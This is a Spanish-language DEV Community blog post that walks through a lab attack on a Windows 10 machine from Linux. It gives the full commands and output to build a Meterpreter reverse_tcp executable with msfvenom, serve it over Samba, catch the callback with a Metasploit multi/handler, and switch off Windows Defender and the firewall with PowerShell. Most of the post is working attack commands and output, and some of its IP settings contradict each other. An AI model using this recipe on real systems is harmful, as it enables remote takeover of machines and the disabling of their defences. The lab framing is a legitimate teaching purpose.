DEV Community

mister_keto
mister_keto

Posted on • Edited on

Controlar maquina windows a traves de ejecutable .exe desde linux

SERVIDOR SAMBA
Lo primero que necesitamos para hacer esta práctica es crear un servidor Samba. En este servidor que creamos en Parrot, que es un linux basado en Debian, compartiremos el archivo ".exe" que acabaremos metiendo en Windows.(ejecutable malicioso)

sudo apt install samba -y
Enter fullscreen mode Exit fullscreen mode

Edito su archivo de configuración .conf y le digo en que carpeta quiero que comparta los archivos el servidor samba. En mi caso usaré la carpeta Desktop que es donde generaré el archivo malicioso. Lo podemos hacer donde queramos pero hemos de saber situarla para no tener problemas luego buscando el archivo.

Hago una copia de seguridad del archivo para respaldarlo antes de editarlo

sudo cp /etc/samba/smb.conf /etc/samba/smb_original.conf
Enter fullscreen mode Exit fullscreen mode

Y edito el archivo de configuración de Samba.

sudo nano /etc/samba/smb.conf
Enter fullscreen mode Exit fullscreen mode

Como comparto la carpeta Desktop dentro de la home del usuario misterk.
Añado las siguientes lineas al archivo de configuración y edito la localización de la carpeta que compartiré con samba.

Como valid user pongo al usuario con el que accederé a la carpeta desde windows. En mi caso "misterk".

[Compartido]
   path = /home/misterk/Desktop
   available = yes
   valid users = misterk
   read only = no
   browsable = yes
   public = yes
   writable = yes
Enter fullscreen mode Exit fullscreen mode

Guardo el archivo y lo cierro.

Añado una contraseña al usuario misterk.

sudo smbpasswd -a misterk
Enter fullscreen mode Exit fullscreen mode

Recargo el servidor samba y compruebo que está en ejecución.

sudo systemctl reload smbd
sudo systemctl start smbd
sudo systemctl status smbd
Enter fullscreen mode Exit fullscreen mode

Miro las ip's de ambas maquinas con el comando ip ad en la terminal de linux y con ipconfig en la terminal powershell o cmd de Windows y
pruebo que ambas maquinas se vean a traves del comando ping, en ambas maquinas:

EN LINUX
Lanzo comando en la terminal.

ip ad
Enter fullscreen mode Exit fullscreen mode

Nos dará la ip de nuestra máquina.

EN WINDOWS
Lanzo este comando en PowerShell o en el CMD

ipconfig
Enter fullscreen mode Exit fullscreen mode

Averiguamos las direcciones IP de nuestras dos máquinas. La maquina linux y la objetivo (windows) y hacemos ping entre ellas para corroborar que hay comunicación.

kali: 192.168.1.140
windows 10: 192.168.1.156

ping 192.168.1.156
Enter fullscreen mode Exit fullscreen mode

Hacer el ping nos dirá los paquetes que han llegado a su destino y si han llegado todos lo paquetes enviados. Hacemos lo mismo desde windows apuntando a la dirección de Kali "192.168.1.140".

POSTGRESQL

Ejecutamos el servicio postgresql, para no perder los datos de msfconsole.

Cuando activo esta base de datos (postgresql), puedo guardar:

  • Resultados de escaneos (ejemplo: nmap integrado en Metasploit).
  • Hosts descubiertos (direcciones IP, puertos abiertos, sistemas operativos).
  • Servicios detectados en cada máquina.
  • Credenciales (usuarios/contraseñas) obtenidas en ataques.
  • Sesiones y exploits usados.

En lugar de perder la info al cerrar msfconsole, la base de datos la conserva.

Arrancamos el servicio antes de meternos a la msfconsole como root para evitar que nos pida contraseñas.

sudo service postgresql start
Enter fullscreen mode Exit fullscreen mode

MSFCONSOLE

msfconsole es la interfaz de línea de comandos principal de **Metasploit **Framework, una herramienta muy poderosa para pruebas de penetración, desarrollo de exploits y análisis de seguridad. Como ya viene preinstalada en Parrot OS, no hace falta que lo instalemos.

Lo arrancamos directamente.

msfconsole
Enter fullscreen mode Exit fullscreen mode

Arrancará la consola de msfconsole y ejecutamos un db_status para corroborar que ha conectado con postgresql

db_status
Enter fullscreen mode Exit fullscreen mode

Si todo está bien nos contestará así.


[*] Connected to msf. Connection type: postgresql.
[msf](Jobs:0 Agents:0) >> 
Enter fullscreen mode Exit fullscreen mode

Nos colocamos en la carpeta que vamos a compartir con Samba dentro de la consola de msfconsole para crear el ejecutable (payload). En este caso, para que no haya dudas se llamará virusaco.exe, y lo crearemos en Desktop.

cd /home/misterk/Desktop
Enter fullscreen mode Exit fullscreen mode


Genero el payload que enviaré a Windows.

IMPORTANTE: La ip que meto en el siguiente comando es la de kali, nuestra maquina atacante.

msfvenom -p windows/meterpreter/reverse_tcp --platform windows --arch x86 -f exe LHOST="192.168.1.140" LPORT=4444 -o virusaco.exe
Enter fullscreen mode Exit fullscreen mode

Si el puerto nos dá problemas, cambiamos de puerto y listo.
Nos dará un dialogo como el siguiente la consola

[*] exec: msfvenom -p windows/meterpreter/reverse_tcp --platform windows --arch x86 -f exe LHOST="192.168.1.140" LPORT=4444 -o virusaco.exe

Overriding user environment variable 'OPENSSL_CONF' to enable legacy functions.
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: virusaco.exe
Enter fullscreen mode Exit fullscreen mode

Ejecutamos las siguientes lineas una a una para configurar el listener, o archivo que estará a la escucha del payload que se ejecutará en Windows.
A cada linea que se genera en la terminal añado la mia.

use multi/handler
Enter fullscreen mode Exit fullscreen mode

multi/handler en Metasploit se utiliza para configurar un "manejador" que espera conexiones entrantes desde una máquina comprometida. Esencialmente, es como preparar un punto de encuentro para recibir una conexión remota desde un exploit exitoso.

¿Para qué sirve?
Recibir conexiones: Cuando ejecutas un exploit que abre una puerta trasera (por ejemplo, un payload como Meterpreter), el manejador espera a que la máquina objetivo se conecte a ti.
Interactuar con la víctima: Una vez establecida la conexión, puedes controlar la máquina remota, ejecutar comandos, extraer datos, etc.

Ahora vamos con el reverse_tcp:

set payload generic/shell_reverse_tcp

Enter fullscreen mode Exit fullscreen mode
set payload windows/meterpreter/reverse_tcp
Enter fullscreen mode Exit fullscreen mode

Este comando básicamente hace lo siguiente:

set payload generic/shell_reverse_tcp

Configuro el payload para crear una shell inversa genérica. Esto significa que, si la explotación tiene éxito, se establecerá una conexión inversa desde el objetivo hacia tu máquina, permitiéndote ejecutar comandos en el sistema comprometido.

set payload windows/meterpreter/reverse_tcp

Cambio el payload a Meterpreter, que es una carga útil más avanzada y flexible. Meterpreter **proporciona un entorno interactivo con muchas funcionalidades adicionales, como la manipulación de archivos, la extracción de credenciales y más. Este payload también establece una conexión inversa TCP, pero con las ventajas adicionales de **Meterpreter.

Configuro el localhost

set lhost 192.168.1.156
Enter fullscreen mode Exit fullscreen mode

El puerto por el que mandará la escucha:

set lport 4444
Enter fullscreen mode Exit fullscreen mode

Y ejecuto el programa del listener y la terminal se queda a la escucha de que se ejecute.

exploit
Enter fullscreen mode Exit fullscreen mode


[*] Started reverse TCP handler on 192.168.1.156:4444 
[*] Sending stage (177734 bytes) to 192.168.1.156
/usr/share/metasploit-framework/vendor/bundle/ruby/3.1.0/gems/recog-3.1.17/lib/recog/fingerprint/regexp_factory.rb:34: warning: nested repeat operator '+' and '?' was replaced with '*' in regular expression
Enter fullscreen mode Exit fullscreen mode

Desactivo Windows Defender y el firewall de windows para poder hacer la práctica sin problemas de eliminación del programa ejecutable.

Para no andar con el lio que supone ir haciendo uno por uno el desactivar Windows Defender y su Firewall. Lo desactivo a traves del powershell en modo Administrador (boton derecho sobre su ejecutable) y ejecutando las siguientes lineas.

Set-MpPreference -DisableRealtimeMonitoring $true
Set-MpPreference -DisableBehaviorMonitoring $true
Set-MpPreference -DisableIOAVProtection $true
Set-MpPreference -DisableScriptScanning $true
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Enter fullscreen mode Exit fullscreen mode

NOTA IMPORTANTE:

Volver a que Windows Defender vuelva a funcionar junto al Firewall, lo haremos con las siguientes lineas o simplemente arrancando de cero windows lo deja como estaba. Pero ahora mismo no habremos de hacerlo a fin de no tener problemas descargando el ejecutable desde Samba.

Lo haremos al final del tutorial. NOTA AL FINAL DEL LABORATORIO.

Abro el explorardor de archivos y escribo en la barra de direcciones
"\\192.168.1.140\misterk\Desktop" y me abre la carpeta compartida a traves del servidor samba en kali linux.

Descargo el archivo "virusaco.exe" a Windows y lo ejecuto.

Y me sale lo siguiente en mi terminal de kali.

[*] Meterpreter session 1 opened (192.168.1.140:4444 -> 192.168.1.156:65111) at 2025-08-30 03:06:22 +0200

Ya puedo ejecutar comandos en Windows a traves de mi terminal de Linux.

(Meterpreter 1)(C:\Users\misterk\Desktop) > ls

Listing: C:\Users\misterk\Desktop
=================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100666/rw-rw-rw-  2354   fil   2025-08-29 16:37:43 +0200  Microsoft Edge.lnk
100666/rw-rw-rw-  282    fil   2025-08-29 16:37:42 +0200  desktop.ini
100777/rwxrwxrwx  73802  fil   2025-08-30 03:03:49 +0200  virusaco.exe

(Meterpreter 1)(C:\Users\misterk\Desktop) > 
Enter fullscreen mode Exit fullscreen mode

Y ya estoy dentro de windows.

Para activar la seguridad en windows reiniciamos el equipo o ejecutamos esto en modo administrador desde la Powershell.

Set-MpPreference -DisableRealtimeMonitoring $false
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled True
Enter fullscreen mode Exit fullscreen mode

Top comments (0)